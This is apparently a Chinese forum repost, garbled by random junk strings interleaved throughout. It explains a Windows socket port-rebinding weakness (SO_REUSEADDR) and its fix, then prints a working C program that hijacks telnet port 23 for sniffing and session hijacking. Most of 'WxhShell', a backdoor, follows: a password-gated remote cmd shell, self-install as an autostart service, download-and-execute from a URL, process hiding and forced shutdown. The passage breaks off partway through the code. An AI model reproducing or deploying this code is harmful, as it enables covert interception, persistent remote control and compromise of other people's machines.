在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A8DFm{})c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%Dig)<yx 7N=-Y>$X saddr.sin_family = AF_INET;
R Oc`BH= Q_p[kK H saddr.sin_addr.s_addr = htonl(INADDR_ANY);
? _g1*@pA p
fT60W[m bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A],ooiq< $uj(G7_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4!#a3=_ )92r{%N 这意味着什么?意味着可以进行如下的攻击:
o[1ylzk}+ 8K"+,s(%R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-\,zRIOK o "z@&G" ^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$`VFdAe $uDqqG(^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TDt Amk ]N{0:Va@D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A,gEM4 beXNrf=bG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^tH#YlV4>9 hk>;pU( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I?Aj.{{$G% )C%N]9FvY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-&2B@]] sOU_j:A80; #include
uz30_aH #include
CC^E_j T #include
%^]?5a! #include
k1
-~ DWORD WINAPI ClientThread(LPVOID lpParam);
#Q"O4 b:8 int main()
FFKGd/:! {
\ I`p|&vG WORD wVersionRequested;
3)=c]@N0 DWORD ret;
u3 0s_\ WSADATA wsaData;
[
ho(z30k BOOL val;
xiblPF_n3 SOCKADDR_IN saddr;
.dMVoG5 SOCKADDR_IN scaddr;
: 9t4s#. int err;
a->3`c SOCKET s;
|JF@6 SOCKET sc;
e8=YGx^o` int caddsize;
.;7> y7$* HANDLE mt;
Z{6kWA3Kk DWORD tid;
E#wS_[ wVersionRequested = MAKEWORD( 2, 2 );
gJ$K\[+ err = WSAStartup( wVersionRequested, &wsaData );
"Z=5gj if ( err != 0 ) {
6NWn(pZ]p printf("error!WSAStartup failed!\n");
n(seNp%_ return -1;
c]-*P7W }
eYX5(`c[ saddr.sin_family = AF_INET;
ufV!+$C)is m!tx(XsXU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z3TS,a1I4 Ev"|FTI/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\55VqGyxu9 saddr.sin_port = htons(23);
``VW;l{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k^"bLf(4 {
RoGwK*j0+ printf("error!socket failed!\n");
W,^W^:m-x return -1;
-_C#wtC }
Gq<X4C#| val = TRUE;
!k3e\v| //SO_REUSEADDR选项就是可以实现端口重绑定的
yifY%!@Xu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?p<.Fv8. {
uw(NG.4 printf("error!setsockopt failed!\n");
s*/ bi
W return -1;
yS(}:'`r }
bg,9@ }"F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5{e,L>H< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|*/[`|*G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gD`>Twa&6 WYB{% yf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u c7Eq45 {
Z/;Xl~ ret=GetLastError();
d[p;T\?" printf("error!bind failed!\n");
L|-98]8> return -1;
l5xCz=dw }
lKWPTCU listen(s,2);
~S,p?I while(1)
mrIh0B:` {
7\]E~/g caddsize = sizeof(scaddr);
zmj"fN{\ //接受连接请求
t\P<X^d% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;5-r_D;9 if(sc!=INVALID_SOCKET)
"tFxhKf {
xv{O^Ie+S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Yim<>. ! if(mt==NULL)
>_OYhgs1w {
css64WX^0c printf("Thread Creat Failed!\n");
g V5zSudW break;
D8&`R }
j~j jX }
-=s(l.?Hm5 CloseHandle(mt);
e:H26 SW }
tCxF~L@ closesocket(s);
Z6\+ WSACleanup();
m,C1J%{^ return 0;
lif&@of }
F
DWORD WINAPI ClientThread(LPVOID lpParam)
WE]e
m
> {
76hOB@ SOCKET ss = (SOCKET)lpParam;
3rLTF\ SOCKET sc;
`w I /0 unsigned char buf[4096];
!Z
VU,b> SOCKADDR_IN saddr;
'lHdOG long num;
(=D&A<YX DWORD val;
s .Wdxh DWORD ret;
gs!(;N\j| //如果是隐藏端口应用的话,可以在此处加一些判断
.ERO|$fv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ookh<ES> saddr.sin_family = AF_INET;
f&v9Q97= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"ju6XdZo saddr.sin_port = htons(23);
:Gm/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AJ#Nenmj {
SBA?^T printf("error!socket failed!\n");
g&/T*L return -1;
iq(
)8nxi }
`al<(FwGE val = 100;
>pUtwIP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=UyLk-P
w {
jw-0M1B ret = GetLastError();
PkI:*\R return -1;
7{&|;U }
&0f5:M{P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%HrAzM.QBF {
;M"9$M' ret = GetLastError();
N F)~W# return -1;
:y7c k/> }
w$JvB5O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
H":oNpfb {
2UGsYQn printf("error!socket connect failed!\n");
4apL4E"r closesocket(sc);
II6CHjW`; closesocket(ss);
x _c[B4Tw return -1;
MEB it }
RX/hz| while(1)
vWAL^?HUP {
d!eYqM7-G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"DYJ21Ut4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
M4as //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f^W;A"+ num = recv(ss,buf,4096,0);
*z@>!8? if(num>0)
j?'GZ d"B send(sc,buf,num,0);
\rv<$d@L else if(num==0)
t!RiU ZAo break;
5\z`-) num = recv(sc,buf,4096,0);
>2~=)L if(num>0)
wI(M^8F_Mf send(ss,buf,num,0);
k:7(D_ else if(num==0)
iLSr*`
o break;
(o`{uj{! }
;*MLRXq closesocket(ss);
UX7t`l2R closesocket(sc);
XI^QF;, return 0 ;
%c4Hse#Y }
X&kp;W Kr)a2rZ}SL 1I:+MBGin ==========================================================
O%bEB g ](hE^\SC 下边附上一个代码,,WXhSHELL
EFz&N\2 4EY)!?; ==========================================================
!KUi\yQ1 #\=F O> #include "stdafx.h"
eio4k- %7|9sQ: #include <stdio.h>
rW$[DdFA5{ #include <string.h>
FJMrs[ #include <windows.h>
\-g)T}g,I #include <winsock2.h>
9 AJ(&qY( #include <winsvc.h>
VVlr*` #include <urlmon.h>
q<M2,YrbAI jyCXJa-!- #pragma comment (lib, "Ws2_32.lib")
s7F.sg #pragma comment (lib, "urlmon.lib")
&v@a5 L LGn:c; #define MAX_USER 100 // 最大客户端连接数
]9^sa-8 #define BUF_SOCK 200 // sock buffer
\.-bZ$ #define KEY_BUFF 255 // 输入 buffer
}~L.qG E 7{U|\ #define REBOOT 0 // 重启
qi^7 #define SHUTDOWN 1 // 关机
~A\GT$ 9iQq.$A . #define DEF_PORT 5000 // 监听端口
F%RRd/' |!4K!_y #define REG_LEN 16 // 注册表键长度
1eF3` #define SVC_LEN 80 // NT服务名长度
.6Pw|xu`Pw 5?x>9Ca // 从dll定义API
wfH^<jY)E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r 8RoE`/T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Tc? $>' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F'21jy& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K|[*t~59 jW A(C;W // wxhshell配置信息
'd9INz. struct WSCFG {
%#kg#@z_`e int ws_port; // 监听端口
%lGl,me H char ws_passstr[REG_LEN]; // 口令
t7aefV&_, int ws_autoins; // 安装标记, 1=yes 0=no
HMNLa*CL' char ws_regname[REG_LEN]; // 注册表键名
2fL;-\!y( char ws_svcname[REG_LEN]; // 服务名
'DCTc&J[' char ws_svcdisp[SVC_LEN]; // 服务显示名
WvY?
+JXJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
8)_XJ"9)G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
JxM]9<a=4 int ws_downexe; // 下载执行标记, 1=yes 0=no
_z|65H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JkbQyn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<<][hQs |IzPgC };
[<@.eH$hU/ ;@oN s- // default Wxhshell configuration
YIG~MP struct WSCFG wscfg={DEF_PORT,
xqu}cz "xuhuanlingzhe",
K &N 1,
{'NvG "Wxhshell",
cQ
R]le%( "Wxhshell",
k5'Vy8q "WxhShell Service",
p$]3'jw "Wrsky Windows CmdShell Service",
o6.^*%kM' "Please Input Your Password: ",
:74y! 1,
u0`S5? "
http://www.wrsky.com/wxhshell.exe",
T4Pgbop "Wxhshell.exe"
{8W'%\!=
};
m;GCc8 )"7iJb<E // 消息定义模块
?^al9D[:lz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*Q
"wwpl? char *msg_ws_prompt="\n\r? for help\n\r#>";
[1Qo#w1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+nFu|qM} char *msg_ws_ext="\n\rExit.";
<Zmg# char *msg_ws_end="\n\rQuit.";
lR6@
xJd:@ char *msg_ws_boot="\n\rReboot...";
n{argI8wF char *msg_ws_poff="\n\rShutdown...";
m#|
9hMu char *msg_ws_down="\n\rSave to ";
Q+{xZ'o"Z A P?R"% char *msg_ws_err="\n\rErr!";
D2Kp|F; char *msg_ws_ok="\n\rOK!";
tEvut=k' *0Skd char ExeFile[MAX_PATH];
'c9]&B int nUser = 0;
G[uK -U HANDLE handles[MAX_USER];
nAsh:6${ int OsIsNt;
<L8'! q} TNe l/ SERVICE_STATUS serviceStatus;
KJ)k =mJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,is3&9 rZ}:Z'` // 函数声明
X^wt3<Kbf int Install(void);
kTOzSiq int Uninstall(void);
( R=:X+ k int DownloadFile(char *sURL, SOCKET wsh);
f<d`B]$( int Boot(int flag);
:!WHFB
o 8 void HideProc(void);
u}macKJmp\ int GetOsVer(void);
Z>k#n'm^z int Wxhshell(SOCKET wsl);
"o-zy'I void TalkWithClient(void *cs);
$r@zs'N int CmdShell(SOCKET sock);
E Nhl&J int StartFromService(void);
98IJu int StartWxhshell(LPSTR lpCmdLine);
-b9\=U[ t%/&c::(6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JcsHt; VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z&+ g;(g c tZ uA+ // 数据结构和表定义
FrGgga$ SERVICE_TABLE_ENTRY DispatchTable[] =
hF~n)oQ {
\/r}]Vz {wscfg.ws_svcname, NTServiceMain},
PR#exm& {NULL, NULL}
k<CJ{u0< };
P64PPbP _Xe>V0 // 自我安装
un mJbY;t int Install(void)
Q4#m\KK;i9 {
\kL3.W_ char svExeFile[MAX_PATH];
/K@XzwM HKEY key;
M=@:ZQ^! strcpy(svExeFile,ExeFile);
&N^9JxN?8 aFX=C>M // 如果是win9x系统,修改注册表设为自启动
7WLy:E" if(!OsIsNt) {
uP)'FI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_^Ubs>d=* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/L
g)i\R; RegCloseKey(key);
/$Nsd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3w*R& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2j[=\K] RegCloseKey(key);
JzQ_{J`k return 0;
y4?0j: }
xX&+WR }
%HhnSi1K }
l` lk-nb else {
{T$9?`h~M tTl%oN8Qw // 如果是NT以上系统,安装为系统服务
y@S$^jk. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
U`(ee*}o if (schSCManager!=0)
k_#ak%m/ {
t%0VJB,Q2 SC_HANDLE schService = CreateService
yW=::= (
y&$A+peJ1 schSCManager,
gV's=cQ wscfg.ws_svcname,
s%7t"-=& wscfg.ws_svcdisp,
~d.Y&b SERVICE_ALL_ACCESS,
,wb:dj- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
C2kPMB=Xo SERVICE_AUTO_START,
G5BfNU SERVICE_ERROR_NORMAL,
)hsgC'H{~] svExeFile,
Ko<:Z)PS NULL,
w3ResQ NULL,
EeE7#$l NULL,
D0-3eV- NULL,
&-)N' NULL
0*3R=7_},o );
/l~p=PK if (schService!=0)
]m3HF& {
lfow1WRF CloseServiceHandle(schService);
I5p?
[ CloseServiceHandle(schSCManager);
R`qFg/S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Qz1E 2yJ strcat(svExeFile,wscfg.ws_svcname);
PO:{t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
UcHJR"M~c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Rsm^Z!sn RegCloseKey(key);
yS'I[l return 0;
tCH!my_ }
rpha!h>w1% }
q"lSZ;
'E CloseServiceHandle(schSCManager);
-=Q*Ml#I }
~!d\^Z^i }
9s
q Tx# Mn~xD return 1;
/{g>nzP }
kS);xA8s] L~OvY // 自我卸载
$bR~+C int Uninstall(void)
h7Kzq{$ {
0Th&iA4 HKEY key;
%YscBG BL}\D;+t if(!OsIsNt) {
IFL*kB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&DX! f RegDeleteValue(key,wscfg.ws_regname);
~TD0zAA& RegCloseKey(key);
<)H9V-5aZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
""G'rN_=Bi RegDeleteValue(key,wscfg.ws_regname);
'n3uu1C RegCloseKey(key);
oJz^|dW return 0;
\!ZTL1b8t }
JX;G<lev }
QA`sx }
7>%8eEc else {
`*R:gE= Ee! 4xg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M5X&}cN6 if (schSCManager!=0)
%ntRG! {
/$?}YL, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Xl#ggub? if (schService!=0)
E{`fF8]K {
G9cUD[GB if(DeleteService(schService)!=0) {
*])
`z8Ox CloseServiceHandle(schService);
]h+j)J}[A CloseServiceHandle(schSCManager);
R
'zWYQ return 0;
FcU SE }
EV%gF CloseServiceHandle(schService);
R&k<AZ }
\ Gvm9M CloseServiceHandle(schSCManager);
[RhO$c$[\ }
|/{=ww8| }
SY\ gXO8k ",; H`V return 1;
~B?y{ }
8cIKvHx 0S!K{xyR // 从指定url下载文件
,#9PxwrO int DownloadFile(char *sURL, SOCKET wsh)
@qAS*3j {
(uE!+2C HRESULT hr;
]2KihP8z
x char seps[]= "/";
S4z;7z(8+ char *token;
Why`ziks char *file;
YU'E@t5 char myURL[MAX_PATH];
sUQ@7sTj char myFILE[MAX_PATH];
?0SJfh hHnYtq strcpy(myURL,sURL);
@I?=<Riu token=strtok(myURL,seps);
BQMpHSJ_ while(token!=NULL)
n{mfn*r. {
U'bEL^Jf file=token;
?Z/V~, token=strtok(NULL,seps);
n/:33DAB }
H*CW1([ @*((1(q GetCurrentDirectory(MAX_PATH,myFILE);
1oGw4kD^x strcat(myFILE, "\\");
8<Av@9 *} strcat(myFILE, file);
<0!):zraS send(wsh,myFILE,strlen(myFILE),0);
W/h[A3 `3N send(wsh,"...",3,0);
}K|oicpUg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|@d\S[~ ^G if(hr==S_OK)
NC(~l return 0;
&V/MmmT
else
*z8\Lnv~k return 1;
k5pN %*}(}~ }
2\{zmc}G-0 Ad_hKO // 系统电源模块
M8(t'jN int Boot(int flag)
4H&+dRI" {
eng'X-x HANDLE hToken;
+23xev TOKEN_PRIVILEGES tkp;
jNk%OrP] L4nYXW0y if(OsIsNt) {
wbl& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZD{LXJ{Vm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
y}|s&4Sq tkp.PrivilegeCount = 1;
4,DeHJjAlE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Y$@?.)tY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Lp9E:D-> if(flag==REBOOT) {
oCz/HQoBk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&F~T-i>X return 0;
vEJbA }
<)D$51 &0 else {
9\7en%( M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zTU0HR3A return 0;
'D1xh~ }
H4+i.*T# }
N(yzk_~ else {
+6+i!Sip if(flag==REBOOT) {
eJ-nKkg~a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
C,4e"yynb return 0;
fz
"Y CHe }
SvF<p3 else {
= dN@Sa/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N;`n@9BF return 0;
8Zd]wYO }
=T7.~W }
Y.p;1" oEpFuWp%A return 1;
VI*$em O0 }
GZIa4A }O
p;
g^W // win9x进程隐藏模块
u>vL/nI void HideProc(void)
(#c:b {
Xsa]. 3!_XEN[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
& 1f+, if ( hKernel != NULL )
dSHDWu& {
G18b$z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TB31-
() ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
La[V$+Y FreeLibrary(hKernel);
3ckclO\|> }
`Urhy#LC < =IFcN return;
7b+6%fV }
?}Y]|c^W oQJtUP% // 获取操作系统版本
pd$[8Rmj_ int GetOsVer(void)
_lq`a\7e {
Tw<q,O OSVERSIONINFO winfo;
6_B]MN!( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,PDQzJY GetVersionEx(&winfo);
8 LCb+^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f
_:A0 return 1;
j1<Yg,_.p else
&UFZS94@r return 0;
~wdGd+ez }
cU {_*yGK48n // 客户端句柄模块
\Vk:93OH21 int Wxhshell(SOCKET wsl)
Q+{n-? : {
Nz-&MS SOCKET wsh;
);YDtGip J struct sockaddr_in client;
#w=~lq)9 DWORD myID;
BnY&f 2~[juWbz while(nUser<MAX_USER)
BTxrp {
kq-) ^,{y int nSize=sizeof(client);
(cO:`W6. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[V`r^ if(wsh==INVALID_SOCKET) return 1;
8{ I|$*nB #\ErY3k 6& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@2#lI if(handles[nUser]==0)
yf,z$CR closesocket(wsh);
^B^9KEjTz else
}6ldjCT/, nUser++;
%
]U }
vP,n(reM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
N$tGQ@
e' <)V_ return 0;
"J1
4C9u
}
`d(ThP;g ^ZCD ~P_= // 关闭 socket
\b>]8Un" void CloseIt(SOCKET wsh)
~VB1OLgv#. {
?q [T closesocket(wsh);
5:?!=<= nUser--;
J.%IfN ExitThread(0);
\{D"
!e }
7j{?aza ),!qTjD // 客户端请求句柄
6S{l'!s' void TalkWithClient(void *cs)
Fk;Rfqq {
ugBCBr %
AgUUn&k SOCKET wsh=(SOCKET)cs;
'N(R_q6MW char pwd[SVC_LEN];
G+m }MOQP7 char cmd[KEY_BUFF];
GA.8@3 char chr[1];
z(~_AN M4, int i,j;
u1.BN>G 2&5K.Ui% while (nUser < MAX_USER) {
H,NF;QPPC &M[?h}B6 if(wscfg.ws_passstr) {
Alq(QDs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C_Wc5{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jb)ZLA;L_c //ZeroMemory(pwd,KEY_BUFF);
*NQ/UXE i=0;
\)Cl%Em while(i<SVC_LEN) {
v` r:=K phz&zlD // 设置超时
FGkVqZ Y2? fd_set FdRead;
|l!aB(NW struct timeval TimeOut;
7[wPn`v2 FD_ZERO(&FdRead);
yDh6KUK FD_SET(wsh,&FdRead);
D/' dTrR TimeOut.tv_sec=8;
+H2Qk4XFB TimeOut.tv_usec=0;
4Po_-4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ea=P2:3* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2t,zLwBdnJ ," ql5Q4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cc3 4e pwd
=chr[0]; *lb<$E]="!
if(chr[0]==0xd || chr[0]==0xa) { Q59W#e)
pwd=0; D&zle~" J
break; F:ELPs4"
} &c #N)U
i++; T]$U""
} A %-6`>
`$NP>%J-
// 如果是非法用户,关闭 socket ?h2}#wg
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8;X-)&R
} y+q5UC|
WEpoBP
CL
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V43H/hl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )`}:8y?
y+;|Fz
while(1) { xN(|A}w
!!y a
ZeroMemory(cmd,KEY_BUFF); .wr>]yN
nj4/#W
// 自动支持客户端 telnet标准 dqAw5[qMJ
j=0; eDB ;cN
while(j<KEY_BUFF) { -$@h1Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .e5Mnd%$M
cmd[j]=chr[0]; ItCv.yv35
if(chr[0]==0xa || chr[0]==0xd) { :Qq#Z
cmd[j]=0; }1xo-mUg,
break; ?fS9J
} ^C%<l(b
j++; ctV,Q3'Z
} B-ESFATc
cj@koA'
// 下载文件 DL.!G
if(strstr(cmd,"http://")) { 'f|o{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); L rPkxmR
if(DownloadFile(cmd,wsh)) y?!"6t7&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T
1t6p&
else :H[6Lg\*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <7$1kGlA
} SY8C4vb'h
else { U<-D(J
8r!zBKq2~
switch(cmd[0]) { nF/OPd
~_ a-E
// 帮助 F&Hrk|a
case '?': { F<w/PMb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZG@q`<:j
break; IM+o.@f-
} LIdF 0
// 安装 Hr4}3.8
case 'i': { O1kl70,`R
if(Install()) J.
@9zA&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IO> yIU[
else GH
xp7H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DeYV$W
B
break; yppo6HGD
} D3A/l
// 卸载 5M_H
NWi4
case 'r': { p<;0g9,1
if(Uninstall()) #D|p2L$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)G<,FJQE_
else Xry47a
)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RFH0
break; {BHO/q3
} G#1GXFDO{
// 显示 wxhshell 所在路径 PxE3K-S)G
case 'p': { \|ao`MMaD<
char svExeFile[MAX_PATH]; v.ui!|c
strcpy(svExeFile,"\n\r"); b u"!jHPB
strcat(svExeFile,ExeFile); a'z7(8$$
send(wsh,svExeFile,strlen(svExeFile),0); ~v"L!=~G;a
break; 1i] ^{;]
} ZAf7Tz\U
// 重启 fxIf|9Qi`
case 'b': { sNwI0o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); snikn&
if(Boot(REBOOT)) 7[wieYj{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yCX?!E;La
else { <^uBoKB/f
closesocket(wsh); 3D(0=$W
ExitThread(0); <Ok3FE.K
} VD\=`r)nT
break; e0 T\tc
} A +)`ZTuO
// 关机 v9->nVc-
case 'd': { zv"Z DRW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hq 188<
if(Boot(SHUTDOWN)) .GcKa024
send(wsh,msg_ws_err,strlen(msg_ws_err),0); as_PoCoss
else { C6yuX\
closesocket(wsh); eR" <33{
ExitThread(0); ;({W#Wa
} tRfo$4#NY
break; 1!gbTeVlY
} SZ$Kz n
// 获取shell *WT`o>
case 's': { >dG[G>
CmdShell(wsh); 6MkP |vr6
closesocket(wsh); BVO<e \>3
ExitThread(0); K96<M);:g
break; (!N|Kl
} JO<wU
// 退出 ?I@W:#>o
case 'x': { WeiFmar
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3%ZOKb"D*
CloseIt(wsh); m%e68c
break; DDH:)=;z
} t`mV\)fa
// 离开 Wiu"k%Qsh
case 'q': { &JI8]JmU)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (J!+(H8
closesocket(wsh); Z)aUt
Srf
WSACleanup(); [zM-^
exit(1); Ez=Olbk
break; k)Qtfj}uij
} 9*?oYm;dX
} d<N:[Y\4l
} N*&1GT#9
xK\d4"
// 提示信息 e@OX_t_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f`=-US
} \} :PLCKT
} *=7U4W
,nB5/Lx
return; tC9n
k5~
} g'qa}/X
N'`A?&2ru
// shell模块句柄 /Mu@,)''
int CmdShell(SOCKET sock) 7x4PaX(
{ qm o9G
STARTUPINFO si; eHDN\QA 2
ZeroMemory(&si,sizeof(si)); KMjhZap%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R!N%o~C2-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \)?HJ
PROCESS_INFORMATION ProcessInfo; l2P=R)@{
char cmdline[]="cmd"; ]`+HO=0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hFl^\$Re
return 0; 2V;PYI
} 1HZO9cXJ
n#OB%@]<V
// 自身启动模式 s+?zL~t
int StartFromService(void) pD#rnp>WWt
{ .UY^oR=b{
typedef struct KNIn:K^/
{ )f<z%:I+Z
DWORD ExitStatus; u^qT2Ss0
DWORD PebBaseAddress; ah+iZ}E%
DWORD AffinityMask; wx0j(:B]
DWORD BasePriority; X*@dj_,
ULONG UniqueProcessId; xx%j.zDI]
ULONG InheritedFromUniqueProcessId; r
# cGop]
